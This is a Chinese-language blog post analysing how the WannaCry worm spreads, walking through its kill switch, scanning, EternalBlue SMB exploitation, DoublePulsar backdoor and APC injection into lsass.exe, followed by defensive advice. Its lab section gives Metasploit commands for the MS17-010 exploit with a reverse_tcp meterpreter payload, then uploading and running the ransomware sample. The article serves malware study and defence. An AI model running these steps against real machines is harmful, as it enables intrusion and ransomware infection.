[系统安全] 三十.WannaCry勒索病毒分析 (4)全网“最”详细的蠕虫传播机制解读

原创 Eastmount 娜璋AI安全之家

收录于合集

前文分享了深信服老师的《外部威胁防护和勒索病毒对抗》，带领大家看看知名安全厂商的威胁防护措施。这篇文章将详细讲解WannaCry蠕虫的传播机制，带领大家详细阅读源代码，分享WannaCry勒索病毒是如何传播感染的。希望文章对您有所帮助~

如果想面试病毒分析工程师或逆向分析工程师，WannaCry的传播机理是常考的一个知识点，也希望能帮助到那部分同学。而且其强大的功能作者尽最大努力去叙述，只希望能帮助更多该领域的读者，也希望Github关注点赞一波。感恩同行，不负遇见。

主程序文件利用漏洞传播蠕虫，运行WannaCry勒索程序
WannaCry勒索程序释放tasksche.exe，对磁盘文件进行加密勒索
@WanaDecryptor@.exe显示勒索信息，运行TOR客户端

作者作为网络安全的小白，分享一些自学基础教程给大家，主要是关于安全工具和实践操作的在线笔记，希望您们喜欢。同时，更希望您能与我一起操作和进步，后续将深入学习网络安全和系统安全知识并分享相关实验。总之，希望该系列文章对博友有所帮助，写文不易，大神们不喜勿喷，谢谢！如果文章对您有帮助，将是我创作的最大动力，点赞、评论、私聊均可，一起加油喔~

文章目录：

一.WannaCry背景
二.WannaCry传播机制源码详解
1.WannaCry蠕虫传播流程
2.程序入口Start
3.域名开关WinMain
4.参数判断sub_408090
5.蠕虫安装流程sub_407F20
6.蠕虫服务传播流程sub_4080000
7.蠕虫初始化操作sub_407B90
8.局域网传播sub_407720
9.公网传播sub_407840
10.漏洞检测及创建通信连接sub_407540
11.发送SMB数据包sub_4072A0
12.获取Payload（dll+shellcode）
13.提取shellcode
14.shellcode分析之安装后门
15.shellcode分析之APC注入
16.dll导出及分析
17.释放资源tasksche.exe
18.勒索行为
三.WannaCry实验复现
1.实验环境搭建
2.Kali利用MS17-010反弹Shell
四.防御措施
五.总结

从2019年7月开始，我来到了一个陌生的专业——网络空间安全。初入安全领域，是非常痛苦和难受的，要学的东西太多、涉及面太广，但好在自己通过分享100篇“网络安全自学”系列文章，艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们，如果写得不好或不足之处，还请大家海涵！

接下来我将开启新的安全系列，叫“系统安全”，也是免费的100篇文章，作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等，也将通过在线笔记和实践操作的形式分享与博友们学习，希望能与您一起进步，加油~
推荐前文：网络安全自学篇系列-100篇
https://blog.csdn.net/eastmount/category_9183790.htm

作者的github资源：

逆向分析：
https://github.com/eastmountyxz/
SystemSecurity-ReverseAnalysis
网络安全：
https://github.com/eastmountyxz/
NetworkSecuritySelf-study

声明：本人坚决反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络需要我们共同维护，更推荐大家了解它们背后的原理，更好地进行防护。该样本不会分享给大家，分析工具会分享。（参考文献见后）

一.WannaCry背景

2017年5月12日，WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发，感染大量的计算机。WannaCry勒索病毒全球大爆发，至少150个国家、30万名用户中招，造成损失达80亿美元。

WannaCry是一种“蠕虫式”勒索病毒软件，由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”（永恒之蓝）进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒，导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限，该工具通过恶意代码扫描开放445端口的Windows系统。WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击，目标机器被成功攻陷后会从攻击机下载WannaCry蠕虫进行感染，并作为攻击机再次扫描互联网和局域网的其他机器，形成蠕虫感染大范围超快速扩散。

其核心流程如下图所示：

木马母体为mssecsvc.exe，运行后会扫描随机IP的互联网机器，尝试感染，也会扫描局域网相同网段的机器进行感染传播，此外会释放敲诈者程序tasksche.exe，对磁盘文件进行加密勒索。
木马加密使用AES加密文件，并使用非对称加密算法RSA 2048加密随机密钥，每个文件使用一个随机密钥，理论上不可攻破。同时@WanaDecryptor@.exe显示勒索界面。

WannaCry勒索病毒主要行为是传播和勒索。

传播：利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播

勒索：释放文件，包括加密器、解密器、说明文件、语言文件等；加密文件；设置桌面背景、窗体信息及付款账号等。

二.WannaCry传播机制详解

WannaCry蠕虫主要分为两个部分：蠕虫部分用于病毒传播，并释放出勒索程序；勒索部分用于加密用户文件索要赎金。

1.WannaCry蠕虫传播流程

WannaCry运行的整体流程推荐安天公司的框架图，如下图所示：

其中，图中上半部分为WannaCry蠕虫的传播部分，该蠕虫通过网络进行传播，有自我复制和传播迅速等特点。传播步骤如下：

(1) 连接远程域名开关
(2) 判断参数个数，选择蠕虫安装流程或服务传播流程

作者的分析工具主要是IDA Pro静态分析和OllyDbg动态调试，大家分析恶意样本一定在虚拟机中，并做好相关安全保护（如断网、物理隔离、共享协议端口关闭等）。

2.程序入口Start

通过OD打开样本wcry.exe，发现程序入口地址为0x00409A16，对应start()函数。

通过一些初始化设置，紧接着会调用WinMain()函数进入主程序。

主程序调用关系如下图所示，调用地址为0x00409B45。

3.域名开关WinMain

主程序运行后会先连接域名（KillSwitch）：

hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

如果该域名连接成功，则直接退出且不触发任何恶意行为
如果该域名无法访问，则触发传播勒索行为，执行sub_408090函数

该代码会调用InternetOpenUrl打开对应的网址，并根据其访问情况执行不同的操作。

如果网址无法访问，会调用sub_408090()函数创建蠕虫服务。这也意味着如果蠕虫作者注册并访问了该URL，WannaCry蠕虫也就停止了传播。目前该域名已被英国的安全公司接管，网上怀疑该操作能有效防止在线沙箱检测。

4.参数判断sub_408090

接着进入sub_408090函数，通过判断参数个数来执行相应的流程。

sub_407F20函数
当参数<2，进入蠕虫安装流程
sub_408000函数
当参数≥2，进入蠕虫服务传播流程并创建mssecsvc2.0服务

该函数调用了相关的API函数，比如创建服务(OpenSCManagerA)、打开服务(OpenServiceA)等。

当我们直接运行wcry.exe时，传递的参数是1（程序本身），则进入蠕虫安装程序；当我们传递参数3（程序本身、二进制程序、服务参数）时，则进入蠕虫服务传播流程。

mssecsvc2.0服务对应的数据部分如下图所示，该服务会伪装成微软安全中心的服务，服务的二进制文件路径为当前进程文件路径，参数为“-m security”。

OD动态调试如下图所示，包括调用CALL访问函数，将服务PUSH入栈等。

5.蠕虫安装流程sub_407F20

蠕虫安装流程主要调用sub_407F20函数，包括sub_407C40和sub_407CE0。

(1) sub_407C40：创建mssecsvc2.0服务，并启动该服务，参数为”-m security”，蠕虫伪装为微软安全中心。

(2) sub_407CE0：读取并释放资源tasksche.exe至C:\Windows路径，创建线程运行。

主要调用的函数包括GetProcAddress、MoveFileEx、CreateFile等。

动态调用过程如下图所示：

释放的C:\Windows\tasksche.exe效果如下图所示：

6.蠕虫服务传播流程sub_4080000

当参数≥2时，蠕虫执行服务传播流程，调用sub_4080000实现，其代码如下：

sub_4080000会打开mssecsvc2.0服务并设置其状态，服务设置函数包括：

RegisterServerCtrlHandlerA
SetServiceStatus

动态分析过程如下图所示：

核心函数是sub_407BD0，它的功能包括：

初始化操作
局域网传播
公网传播

7.蠕虫初始化操作sub_407B90

蠕虫初始化操作主要调用sub_407B90函数实现，具体功能包括：

WSAStartup：初始化网络
sub_407620：初始化密码
sub_407A20：获取Payload

函数WSAStartup主要是进行相应的Socket库绑定。函数原型如下：

继续调用sub_407A20函数从内存中读取MS17-010漏洞利用代码，Payload分为x86和x64两个版本，32位大小为0x4060，64位大小为0xc8a4。

8.局域网传播sub_407720

蠕虫初始化操作后，会生成两个线程，分别进行局域网和公网传播。

result = sub_407B90v1 = (void *)beginthreadex(0, 0, sub_407720, 0, 0, 0)v3 = (void *)beginthreadex(0,0, sub_407840, v2, 0, 0)

局域网传播：

蠕虫根据用户内网IP，生成覆盖整个局域网网段表，然后循环尝试攻击

这里存在一个疑问：你怎么能确定v1是局域网传播，而v3是外网传播呢？

在函数sub_407720中，会继续调用线程执行sub_4076B0函数。同时，函数如果同时调用10个以上IP地址，会执行Sleep暂停100毫秒（1秒=1000毫秒）。

核心函数：sub_4076B0

函数sub_407720会调用函数sub_409160，接着调用GetAdaptersInfo获取网卡配置和IP地址详细信息，最终进行局域网IP地址拼接和传播。
而外网传播的IP地址是通过四个随机数产生的，通过这些差异就能判断是局域网传播还是外网传播。

函数sub_4076B0会连接445端口，如果445端口连接成功，接着发起漏洞攻击。如果连接超过10分钟则终止该线程。

接下来调用sub_407540函数发起漏洞攻击。

核心函数：sub_407540

9.公网传播sub_407840

公网传播：公网IP地址通过4个随机数拼接而成，然后循环尝试攻击。

sub_407840函数：

生成四个随机数，然后调用aDDDD进行IP拼接，表示成%d.%d.%d.%d。0xFF表示255，对应最大地址，v8余数不等于127内网。接着调用sub_407540函数进行外网传播。

在sub_407840函数中，继续调用线程执行sub_407540函数，该函数为漏洞利用核心函数。

10.漏洞检测及创建通信连接sub_407540

IP地址拼接好后，会创建漏洞利用线程，调用sub_407540函数。

第一步：检测目标是否可以安装双星脉冲DOUBLEPULSAR(端口445)

如果需要，后续可以分享一篇永恒之蓝和双星脉冲相关知识。

第二步：利用MS17-010漏洞，尝试建立通信连接并发送漏洞利用程序数据包

通过connet建立Socket通信连接，再调用send和recv进行数据包握手确认。最后会调用核心函数sub_406F50。

11.发送SMB数据包sub_4072A0

建立通信连接(connect、send、recv)，发送利用Eternalblue的蠕虫SMB数据包。具体流程包括：（还需进一步分析）

12.获取Payload（dll+shellcode）

样本在利用漏洞MS17-010获取目标主机权限后，并不会直接发送蠕虫自身到目标，而是发送一段经过简单异或加密后的Payload到目标机器中执行。

在sub_4077A0函数中，v7是系统标记，当v7等于1时表示32位操作系统，当v7等于0时表示64位操作系统。

核心函数：sub_406F50（发送Payload）

Payload由shellcode和包含样本自身的dll组成，Payload分为64位与32位，函数sub_406F50如下图所示。

32位shellcode起始地址0x42E758
64位shellcode起始地址0x42FA60

dll同样分为64位与32位版本，根据目标主机系统的不同，读取不同版本的dll

32位dll起始地址0x40B020，大小为0x4060字节
64位dll起始地址0x40F080，大小为0xc8a4字节

Shellcode相关信息

32位shellcode起始地址0x42E758，大小为0x1305字节
64位shellcode起始地址0x42FA60，大小为0x1800字节

13.提取shellcode

对应的反汇编代码如下，包括x64_payload_addr、x86_payload_addr。

32位Shellcode获取：

0x42E758~0x42FA5D

64位Shellcode提取：

0x42FA60~0x43125F

14.shellcode分析之安装后门

Shellcode反汇编及功能分析如下：

第一部分：安装后门

第二部分：利用安装的后门，APC向应用程序注入dll

shellcode部分作者还需要进一步研究，加油~

安装后门主要执行sub_401370函数，在远程电脑上安装双星脉冲DOUBLEPULSAR后门。

15.shellcode分析之APC注入

参考两篇文章：
[原创]WannaCry勒索软件中“永恒之蓝”漏洞利用分析 - 展博
[原创]通过Wannacry分析内核shellcode注入dll技术 - dragonwang

shellcode第二部分是利用安装的后门，APC向应用程序注入dll。

(1) 查找ntoskrnl.exe基地址
首先找到gs[38]处的_KIDTENTRY64指针，在KIDTENTRY64的偏移4，得到中断处理的函数指针，这个地址在ntoskrnl.exe中，我们就找到了ntoskrnl.exe的地址空间，然后去地址空间的页头地址对比PE头MZ，找到则函数返回。

(2) 获取Hash计算方法

需要使用的函数并没有硬编码写到程序里，而是硬编码了这些函数的hash值。所以我们需要首先知道函数编码和hash值得对应关系。Hash计算方法如下，用c++代码注释了一下。

(3) 根据ntoskrnl.exe基地址、函数hash字符查找导出函数地址

find_func函数如下，有了ntoskrnl.exe所有导出函数hash对照表，整个程序流程就明朗了。

(4) 查找需要用到ntoskrnl.exe导出函数地址并保存备用

(5) 查找目标进程，通过hash编码782BF0E7h进程名查找（lsass.exe）

查找目标进程，通过hash编码782BF0E7h进程名查找，直接没找到“lsass.exe”，查找方法是使用pid暴力查找。具体通过pid调用PsLookupProcessByProcessId得到pEProcess结构指针，再通过pEProcess调用PsGetProcessImageFileName得到进程名。

(6) 使用查到导出函数的地址，并进行APC注入

APC注入，使用查到导出函数的地址，注释见截图。第六个参数包含了第三层shellcode和dll代码，可自行dump出研究，第七个参数指定为usermode。

(7) 最后将shellcode自身以及其所分配的内存清0

内核部分的注入代码主要流程就分析完了，到用户层的shellcode自己实现的一个pe loader而没有使用LoadLibary，这样使得注入更加隐蔽，查询PEB_LDR_DATA的也查不到被注入了dll。

16.dll导出及分析

shellcode使用APC注入将生成的dll注入到系统进程lsass.exe，导出的dll文件如下图所示：

火绒剑检测结果如下，通过APC注入将生成的dll注入到系统进程lsass.exe，接着释放资源mssecsvc.exe，最后释放勒索程序tasksche.exe。

17.释放资源tasksche.exe

dll具有一个导出函数PlayGame，它会将母体程序释放到被攻击的计算机，保存为C:\WINDOWS\mssecsvc.exe并执行。

下面是作者分析导出的dll静态代码，主函数PlayGame。

PlayGame包括两个核心函数：sub_180001014和sub_1800010F8。

sub_180001014：释放资源
sub_1800010F8：运行文件

最后释放资源tasksche.exe(勒索加密程序)到C:\WINDOWS目录下，并将其启动。

被攻击的计算机包含蠕虫的完整功能，除了会被勒索，还会继续使用MS17-010漏洞进行传播，这种传播呈几何级向外扩张，也是该蠕虫短时间内大规模爆发的主要原因。

18.勒索行为

勒索行为之前的文章已经进行了还原

运行病毒程序后的界面如下图所示，已经成功被勒索。再次强调，所有代码必须在虚拟机中执行，并且关闭文件共享。

样本的解压密码是WNcry@2ol7，通过资源工具也可以查看到。解压后的文件结构如下：

msg文件夹下就是所有的语言包。

其他文件内容如下，下一篇文章会详细介绍勒索原理。

四.WannaCry实验复现

1.实验环境搭建

实验环境：

攻击机：
Kali-linux-2019.2 IP:192.168.44.138
受害主机：
Win7 64位 IP:192.168.44.147

实验工具：

metasploit
MS17-010
Wcry.exe

实验步骤：

配置Windows Server 2003、Kali、Windows7实验环境
Kali检测受害主机445端口（SMB协议）是否开启
运行EternalBlue永恒之蓝漏洞(MS17-010)反弹shell
上传勒索病毒wcry.exe并运行
实现勒索和文件加密

切记、切记、切记：实验复现过程中必须在虚拟机中完成，运行前关闭虚拟机Win7文件共享，真机上一旦被感染你就真的只能想哭了（wannacry）。同时，该实验仅作病毒机理和防御分析，了解原理更好地保护计算机，切勿攻击他人，否则后果自负。

第一步，创建虚拟机并安装Windows7 x64位操作系统。Win7设置开启445端口，同时关闭防火墙。注意，关闭虚拟机文件共享功能。

第二步，保证攻击机和受害机相互通讯，均在同一个局域网中。

2.Kali利用MS17-010反弹Shell

第一步，扫描靶机是否开启445端口。

nmap -sS 192.168.44.147

第二步，打开msfconsole并查询MS17-010漏洞模块。
这里有各种MS17-010漏洞版本，我们根据目标系统选择编号为3的版本。推荐读者看看NSA泄露的方程式工具包，其中永恒之蓝（eternalblue）就是著名的漏洞。

msfconsole
search ms17-010

第三步，利用永恒之蓝漏洞并设置参数。

use exploit/windows/smb/
ms17_010_eternalblue
利用永恒之蓝漏洞
set payload windows/x64/
meterpreter/reverse_tcp
设置payload
set LHOST 192.168.44.138
设置本机IP地址
set RHOSTS 192.168.44.147
设置受害主机IP
set RPORT 445
设置端口445，注意该端口共享功能是高危漏洞端口，包括之前分享的139、3389等
exploit
利用漏洞

第四步，成功获取Win7系统管理员权限。

getuid
返回系统管理员权限
pwd、ls
查看当前路径及目录

第五步，上传勒索病毒至Win7系统。再次强调，虚拟机中运行该实验，并且关闭文件共享功能。

shell
upload /root/wcry.exe c:\

第六步，运行勒索病毒，实验复现成功。
运行前的受害主机界面如下图所示：

再次强调，所有代码必须在虚拟机中执行，并且关闭文件共享。

加密系统中的文件，被加密的文件后缀名统一修改为“.WNCRY”。其原理第二部分详细介绍。

b.wnry: 中招敲诈者后桌面壁纸
c.wnry: 配置文件，包含洋葱域名、比特币地址、tor下载地址等
f.wnry: 可免支付解密的文件列表
r.wnry: 提示文件，包含中招提示信息
s.wnry: zip文件，包含Tor客户端
t.wnry: 测试文件
u.wnry: 解密程序

四.防御措施

勒索软件防御常见的措施如下：

开启系统防火墙
关闭445、139等端口连接
开启系统自动更新，下载并更新补丁，及时修复漏洞
安装安全软件，开启主动防御拦截查杀
如非服务需要，建议把高危漏洞的端口都关闭，比如138、139、445、3389等

由于WannaCry勒索病毒主要通过445端口入侵计算机，关闭的方法如下：

控制面板–>windows防火墙—>高级选项–>入站规则
新建规则–>选择端口–>指定端口号445
选择阻止连接–>配置文件全选–>规则名称–>成功关闭

实验在虚拟机中进行，也需要关闭共享文件夹功能，如下图所示。

五.总结

写到这里，这篇文章就介绍完毕。主要讲解了WannaCry蠕虫的传播机制，也是作者一个月的研究成果，感觉是全网WannaCry蠕虫传播部分最详细的一篇文章了。最后，感觉自己真的好菜，但也需要加油，希望您喜欢这篇文章~

WannaCry蠕虫传播流程
程序入口Start
域名开关WinMain
参数判断sub_408090
蠕虫安装流程sub_407F20
蠕虫服务传播流程sub_4080000
蠕虫初始化操作sub_407B90
局域网传播sub_407720
公网传播sub_407840
漏洞检测及创建通信连接sub_407540
发送SMB数据包sub_4072A0
获取Payload（dll+shellcode）
提取shellcode
shellcode分析之安装后门
shellcode分析之APC注入
dll导出及分析
释放资源tasksche.exe
勒索行为

原文地址：

https://blog.csdn.net/Eastmount/article/details/114649732

这篇文章中如果存在一些不足，还请海涵。作者作为网络安全初学者的慢慢成长路吧！希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享，深知自己很菜，得努力前行。

欢迎大家讨论，是否觉得这系列文章帮助到您！任何建议都可以评论告知读者，共勉。

前文回顾（下面的超链接可以点击喔）：

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晚安女神，爱你和小宝❤

(By:Eastmount 2021-07-30 夜于武汉）

参考文献
为了更好帮助读者，作者将参考文献提前。下面给出下各大安全厂商及安全大佬对WannaCry蠕虫分析的文章，强烈推荐大家阅读，作者也吸取了它们的精华，在此感谢。